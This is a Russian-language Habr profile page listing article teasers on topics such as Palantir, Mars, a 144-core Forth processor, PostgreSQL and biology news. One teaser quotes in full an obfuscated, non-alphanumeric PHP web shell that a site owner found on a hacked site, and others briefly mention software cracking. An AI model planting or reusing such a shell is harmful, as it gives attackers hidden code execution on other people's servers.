Как стать автором
Обновить
17
0

Пользователь

Отправить сообщение

Palantir: Объектная модель

Время на прочтение9 мин
Количество просмотров8.7K
Шрияс Виджайкумар, ведущий инженер по внедрению, расскажет про еще один элемент внутренней кухни системы Palantir.



Как организации управляются с данными, на текущий момент?
В существующих системах встречаются довольно распространенные артефакты, и многие из них, если не все, вам знакомы:
  • пользователи часто оставляют заметки для себя в имени файла, так что мы можем встретить конструкции вида отправить_по_почте.пятница.10_утра.не_стирать!!;
  • каждое изменение онтологии требует модификации всей схемы;
  • данные из разных источников невозможно исследовать вместе, в одной среде, так что у вас может быть база данных людей и трафика сообщений, которые приходится исследовать по отдельности;
  • пересинхронизация данных нецелесообразна или невозможна, — а это часто бывает нужно;
  • информация не может быть прослежена до её источника.

Что мы принципиально иначе делаем в Palantir?
Когда мы разрабатывали систему, мы много работали с обратной связью от сообщества. Первое, что мы постарались запроектировать — это максимальная гибкость системы, дающая возможность моделировать все что угодно.

Гибкость означает, возможность работать с любыми типами данных в одном общем пространстве: от высокоструктурированных, таких как базы данных с выстроенными отношениями, до неструктурированных, таких как хранилище трафика сообщений, а также всех, находящихся между этими крайностями. Это также означает возможность создавать множество разнообразных полей для исследования без привязки к одной модели построения. Как и организация, они могут изменяться и эволюционировать со временем.

Следующей вещью, которую мы спроектировали, стало обобщение данных без потерь. Нам нужна платформа, которая бы отслеживала каждый обрывок информации до его источника или источников. В мультиплатформенной системе важное значение имеет контроль доступа, особенно если такая система, позволяет совершать всю полноту действий с данными.

Всего голосов 10: ↑6 и ↓4+2
Комментарии3

Подборка книг в жанре классического и альтернативного фентези

Время на прочтение7 мин
Количество просмотров82K

Рисунок Алексея Андреева
Описания книг взяты с сайта Лаборатория фантастики

Читать дальше →
Всего голосов 36: ↑31 и ↓5+26
Комментарии107

Нужно ли Марсу магнитное поле?

Время на прочтение7 мин
Количество просмотров47K


Продолжаем рубрику "Прикладное терраформирование". В предыдущем выпуске мы оценили марсианские запасы углекислотного льда, и человеческие возможности по его преобразованию в атмосферу. Сегодня поговорим о том есть ли какой-либо смысл наполнять атмосферу Марса в условиях отсутствия магнитного поля.
Читать дальше →
Всего голосов 74: ↑74 и ↓0+74
Комментарии60

Модель телескопа для распечатки на 3D-принтере

Время на прочтение2 мин
Количество просмотров13K


Собрать собственный телескоп и наблюдать за звёздами прямо с крыши своего дома — что может быть заманчивее? Скоро мечта каждого любителя астрономии станет реальностью.

Группа энтузиастов из Лондона создала некоммерческую организацию Open Space Agency и поставила целью разработать модель простого, но мощного телескопа Ultrascope, который можно изготовить своими силами с использованием 3D-печати, лазерной резки и конструктора Arduino. «Цифровой» телескоп управляется дистанционно с мобильного приложения. Фотографии тоже делаются со смартфона или планшета.
Читать дальше →
Всего голосов 14: ↑14 и ↓0+14
Комментарии21

Исследование защиты PVS-Studio

Время на прочтение4 мин
Количество просмотров55K
PVS-Studio

Приветствую! Это мой первый пост на Хабре в принципе, но не первая статья о взломе ПО вообще, поэтому навык писать все с начала и по шагам, для начинающих крякеров, у меня есть. В данной статье я расскажу о том, как был отучен от триальности PVS-Studio.
Читать дальше →
Всего голосов 144: ↑123 и ↓21+102
Комментарии131

История китайской космонавтики

Время на прочтение5 мин
Количество просмотров126K
Собственно, мне в руки попал смартфон, который в полной мере поддерживает навигацию с использованием китайской навигационной системы 北斗(Большая Медведица). На рынок эти смартфоны должны выйти в середине-конце 2014 года, но дело не в этом.
Я задумался о том, на чем же эта система работает, кто и что выводило эти спутники на орбиту и решил написать краткий обзор истории развития китайской космонавтики. Кому интересно — добро пожаловать под кат. Много тяжелых фотографий.


Читать дальше →
Всего голосов 163: ↑159 и ↓4+155
Комментарии120

Назад в прошлое: Печать фотографий на фотоувеличителе

Время на прочтение10 мин
Количество просмотров120K
imageНедавно мне захотелось обновить воспоминания далёкого детства, когда напечатанные фотографии рождались не в фотолабораториях, а каким-то магическим образом из света и тени возникали в чуланах и ваннах обычных советских граждан. Несмотря на те смутные воспоминания, опыта печати фотографий на у меня никогда не было, так что это будет статья абсолютного нуба, попробовавшего разобраться в том, как работают технологии двадцатилетней давности и как запустить всю эту кухню в современных реалиях.
Вероятно, у старшего поколения всё это вызовет лишь улыбку, но ведь из тех, кому нет 30 лет лишь единицы имеют опыт печати фотографий. И сейчас даже отдалённое понимание того, какими способами такие люди как Энсель Адамс или Майкл Кенна достигали или достигают шедевральности своих фотографий уходит потихоньку в историю.
Читать дальше →
Всего голосов 64: ↑60 и ↓4+56
Комментарии69

144-ядерный процессор Чарльза Мура поступил в продажу по $20

Время на прочтение2 мин
Количество просмотров45K
Чарльз Мур, создатель языка программирования Форт (Forth), довёл до стадии промышленного производства уникальную разработку — многоядерный процессор GA144. Чип размером 10х10 мм уже поступил в продажу по цене $20 (при заказе от десяти штук), также доступны материнские платы для него. Фактически, это аппаратное воплощение самого языка программирования Форт.

Крайне необычный процессор по ряду параметров не имеет себе равных среди CPU:
  • 144 независимых ядра, которые активируются только при поступлении инструкции, то есть у этого процессора нет такой характеристики как «тактовая частота»;
  • скорость выполнения инструкций 1400 пикосекунд (эквивалент 700 МГц);
  • энергопотребление 7 пикоджоулей на одну инструкцию;
  • энергопотребление в «спящем» режиме менее 100 нановатт;
Читать дальше →
Всего голосов 216: ↑209 и ↓7+202
Комментарии135

PHP-шелл без единого буквенно-цифрового символа

Время на прочтение1 мин
Количество просмотров89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности
Всего голосов 119: ↑105 и ↓14+91
Комментарии33

Как правильно сортировать контент на основе оценок пользователей

Время на прочтение5 мин
Количество просмотров91K


В оригинале название звучит как «How Not To Sort By Average Rating». Я подумал, что дословный перевод «Как не сортировать по усреднённому рейтингу» будет малопонятен и хуже отражает содержание статьи.

Постановка проблемы


Вы занимаетесь веб программированием. У вас есть пользователи, которые оценивают контент на вашем сайте. Вы хотите разместить высоко оцененный контент наверху, а низко оцененный — внизу. Для этого на основе пользовательских оценок вам нужно вычислить некий «рейтинг».

Неправильное решение №1

Рейтинг= (Число положительных оценок) - (Число отрицательных оценок)

Читать дальше →
Всего голосов 458: ↑423 и ↓35+388
Комментарии134

Закрытие эмулятора Diablo III Близзардами

Время на прочтение2 мин
Количество просмотров35K
Довольно неприятная вещь случилась не так давно (3 дня назад). Почти подтверждена информация, что Blizzard закрыли opensource эмулятор Diablo 3 (Mooege).



Для тех, кто не в курсе, немного введу в курс дела, какую взаимосвязь имеет OpenSource и некоторые проекты Blizzard. Те, кто в курсе — могут пропустить абзац.
Читать дальше →
Всего голосов 114: ↑99 и ↓15+84
Комментарии158

Что я узнал про интерфейсы в реальном мире в Китае

Время на прочтение8 мин
Количество просмотров85K
Вот типичная форма подключения к вай-фаю. Она вообще-то на огромной странице с кучей иероглифов, но серая подложка помогла мне понять, что это и есть самая важная форма подключения, а остальное — справка и реклама.



Иконки важны. Судя по ним, галочка внизу — это, почти наверняка, «я согласен с условиями». Телефон вверху — наверняка номер. Дальше — замок — это пароль. Оба поля активные, то есть логин и пароль у меня должны быть сразу, так?

Нет, нифига, китайский UX подразумевает, что я сначала введу телефон и нажму оранжевую кнопку (цвета иконки — и да, это кнопка!). Получу пароль и введу его во второе поле, а потом нажму зелёную кнопку. Робот сравнит телефон с паролем и пустит меня дальше. Эту форму, скорее всего, рисовал китаец.


А это обычная такая телефонная будка раннего космического века

Сейчас покажу ещё несколько вещей, рождённых в стране, где квалифицированных инженеров примерно раз в двадцать больше, чем в Америке, а состояние изобретательности «советского инженера» ещё не пройдено. Я, конечно, опять продолжу свою историю и покажу интерфейсы в реальном мире — они не менее интересны с точки зрения юзабилити, нежели HCI, и не менее полезны для понимания, как можно работать с пользователем.
Читать дальше →
Всего голосов 122: ↑115 и ↓7+108
Комментарии94

Как исправить осанку с помощью Kickstarter'а: подборка интересных «неврологических» проектов

Время на прочтение5 мин
Количество просмотров21K
Заболевания спины и позвоночника — массовая проблема и сегодня, и в обозримом будущем, и каждый по-своему будет ее решать в зависимости от опыта, знаний, советов врачей или друзей. В качестве превентивной меры мы также вольны выбирать хоть электронные корректоры, хоть специальные датчики дыхания, хоть подушки с пульсометром, хоть корсеты, и на все это когда-то собирались деньги на краудфандинговых площадках.



Под катом — немного ссылок, гифок, фотографий и подробностей
Читать дальше →
Всего голосов 16: ↑13 и ↓3+10
Комментарии8

В Сети опубликован секретный каталог шпионского оборудования спецслужб США для наблюдения за сотовыми телефонами граждан

Время на прочтение2 мин
Количество просмотров19K


Сегодня в Сети появилась интереснейшая информация — каталог оборудования, которое используется спецслужбами США для наблюдения за сотовыми устройствами граждан страны. Каталог был выложен ресурсом The Intercept, а журналисты сайта получили информацию от работника спецслужб, которому не нравится ужесточение мер наблюдения за гражданами в стране.

Всего в каталоге 53 устройства, включая довольно известные сейчас системы наблюдения Stingray I/II. Радиус действия — около 200 метров, а стоимость такого гаджета составляет $134000. В общем-то, ничего сколько-нибудь дешевого в каталоге и нет, спецслужбы и военные (они тоже используют такое оборудование) явно не жалеют денег на подобные вещи.
Читать дальше →
Всего голосов 21: ↑19 и ↓2+17
Комментарии7

Применение машинного обучения для увеличения производительности PostgreSQL

Время на прочтение10 мин
Количество просмотров22K
image

Машинное обучение занимается поиском скрытых закономерностей в данных. Растущий рост интереса к этой теме в ИТ-сообществе связан с исключительными результатами, получаемыми благодаря ему. Распознавание речи и отсканированных документов, поисковые машины — всё это создано с использованием машинного обучения. В этой статье я расскажу о текущем проекте нашей компании: как применить методы машинного обучения для увеличения производительности СУБД.
В первой части этой статьи разбирается существующий механизм планировщика PostgreSQL, во второй части рассказывается о возможностях его улучшения с применением машинного обучения.

Читать дальше →
Всего голосов 45: ↑44 и ↓1+43
Комментарии6

Как попасть на дачу президента в пять часов утра

Время на прочтение6 мин
Количество просмотров322K
Этот пост о том, как обычный взлом обернулся муками совести и душевными терзаниями. Исходников будет не много, больше фоток и анализа. Итак, некто Вася работает «плохим парнем». Степень падения Васи такова, что средства на жизнь ему приносит поиск и разбор информации, доступ к которой был скомпрометирован вследствие неграмотного обслуживания, безалаберности или экономии на обслуживающем персонале.


Читать дальше →
Всего голосов 392: ↑385 и ↓7+378
Комментарии441

Папы тоже едят за двоих: в сперме содержится информация о весе отца

Время на прочтение2 мин
Количество просмотров15K
Папы тоже едят за двоих – это выяснили датские учёные. Вес мужчины влияет на генетическую информацию, передаваемую по наследству. Сперматозоиды худых и полных мужчин имеют различные эпигенетические маркеры, ответственные за развитие области мозга, отвечающей контроль аппетита. Исследователи получили объяснение, почему дети полных отцов предрасположены к излишнему весу.

image
Читать дальше →
Всего голосов 15: ↑11 и ↓4+7
Комментарии22

Как была закейгенена Armadillo, взломана PSP и скомпрометированы все DSA ключи в Debian. Или еще раз о слабых ГПСЧ и (EC)DSA

Время на прочтение3 мин
Количество просмотров46K
armadillo Лет семь назад попал в руки крякеров архив с сорцом генератора ключей для протектора под названием Armadillo. Просто кое-кому из благодарных пользователей продукта захотелось проверить его на прочность. А где еще получишь бесплатный аудит такого интересного кода, как не на крякерском форуме.

Этот генератор нужен был для того, чтобы при покупке клиентом вашей программы, защищенной Armadillo, мерчант смог сам автоматически сгенерировать для неё лицензионный ключ. Так же, он использовался в самой Armadillo и, если б была возможность узнать секрет, то можно было бы сделать кейген для неё самой. Что делало аудит кода вдвойне интересным.

Итак, вот он, оригинальный, добытый путём титанических усилий, архив. (исходник на C)

Попробуйте без подсказок понять, в чем именно сокрыта уязвимость. Там хоть и куча кода, но он хорошо читаем. Не получилось? А если глянуть на 528 строчку?
Читать дальше →
Всего голосов 120: ↑117 и ↓3+114
Комментарии17

Гарвардские нейробиологи доказали, что нейроны и нейронные сети в мозгу могут менять свой тип и функциональность

Время на прочтение2 мин
Количество просмотров13K
image

Нейробиологи из Гарвардского института стволовых клеток в своей новой работе показали, что сети связей между нейронами в мозгу могут перестраиваться в результате изменения ролей отдельных нейронов. Эти же учёные ранее доказали, что нейроны способны «перепрограммироваться» и менять свою роль – это открытие изменило представление науки о работе клеток мозга.

«В нашей работе мы показали, что во-первых, нейроны в мозгу могут радикально менять свой тип с одного на другой,- говорит Паола Арлотта [Paola Arlotta], профессор в области стволовых клеток и регенеративной биологии. – А во-вторых, соседние нейроны способны воспринимать изменение роли клеток и адаптировать свои коммуникации к их новой роли».

Вообще, «перепрограммирование» клеток организма было продемонстрировано ещё в 2008 году – тогда гарвардские биологи смогли заставить экзокринные клетки поджелудочной железы превратиться в бета-клетки, производящие гормон инсулин.
Читать дальше →
Всего голосов 18: ↑17 и ↓1+16
Комментарии8

Донорские клетки с отредактированным геномом подтвердили свою эффективность в борьбе с лейкемией

Время на прочтение7 мин
Количество просмотров8.6K
Приветствуем вас на страницах блога iCover. Начало ноября 2015 года ознаменовалось событием, привлекшим внимание многих онкологов и генных инженеров планеты. Устойчивой ремиссии в лечении рака у человека удалось достичь благодаря использованию донорских иммунных Т-клеток с отредактированным геномом. А первым пациентом, испытавшим на себе возможности предложенного метода стала годовалая девочка из Великобритании, страдавшая от одного из самых агрессивных видов рака – острого лимфобластного лейкоза. О методе, лечении Лейлы Ричардс и достигнутых результатах мы расскажем в нашей публикации.


Читать дальше →
Всего голосов 19: ↑19 и ↓0+19
Комментарии1
1
23 ...

Информация

В рейтинге
Не участвует
Зарегистрирован
Активность